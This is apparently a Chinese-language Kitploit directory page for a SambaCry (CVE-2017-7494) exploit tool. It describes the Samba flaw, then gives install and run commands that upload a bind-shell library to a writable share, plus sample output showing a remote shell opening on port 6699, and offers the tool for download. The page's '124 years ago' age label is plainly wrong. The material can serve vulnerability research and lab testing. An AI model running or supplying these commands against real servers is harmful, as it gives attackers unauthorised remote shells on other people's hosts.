Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
exploit-CVE-2017-7494 — SambaCry 漏洞利用 (CVE-2017-7494) | Kitploit
工具/GitHubGitHub/00mjk/exploit-cve-2017-7494
漏洞分析漏洞利用渗透测试远程访问工具Payload 开发
GitHub00mjk/exploit-cve-2017-7494

exploit-CVE-2017-7494

SambaCry 漏洞利用 (CVE-2017-7494)

查看仓库
124年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SambaCry RCE 漏洞利用(针对 Samba 4.5.9)

Samba 是 SMB/CIFS 网络协议的自由软件重新实现。Samba 为各种 Microsoft Windows 客户端提供文件和打印服务,并可以集成到 Microsoft Windows Server 域中,既可以作为域控制器 (DC),也可以作为域成员。自版本 4 起,它支持 Active Directory 和 Microsoft Windows NT 域。

4.5.9 版本及之前的 Samba 存在一个名为 SambaCry 的远程代码执行漏洞。CVE-2017-7494 允许远程认证用户将共享库上传到可写共享文件夹,并通过代码执行攻击来控制运行易受攻击 Samba 服务的主机。

Samba 3.x(3.5.0 之后版本)、4.x(4.4.14 之前版本)、4.5.x(4.5.10 之前版本)以及 4.6.x(4.6.4 之前版本)在使用 Windows 命名管道时未限制文件路径,这使得远程认证用户能够将共享库上传到可写共享文件夹,并通过精心构造的命名管道执行任意代码。

利用方法

使用 poetry 为本漏洞利用配置环境

root@kitploit:~
pip3 install -r requirements.txt

之后可以按如下方式运行:

root@kitploit:~
./exploit -t <target> -e libbindshell-samba.so \
             -s <share> -r <location>/libbindshell-samba.so \
             -u <user> -p <password> -P 6699

例如,如果你使用了 vulnerables/cve-2017-7494 中的易受攻击镜像,并希望针对该镜像运行此漏洞利用:

root@kitploit:~
./exploit -t <target> -e libbindshell-samba.so \
             -s data -r /data/libbindshell-samba.so \
             -u sambacry -p nosambanocry -P 6699

你将得到如下输出

root@kitploit:~
./exploit -t <target> -e libbindshell-samba.so \
             -s data -r /data/libbindshell-samba.so \
             -u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>

鸣谢

本项目的 payload 以及代码很大程度上受到了 opsxcq/exploit-CVE-2017-7494 的启发。

下载工具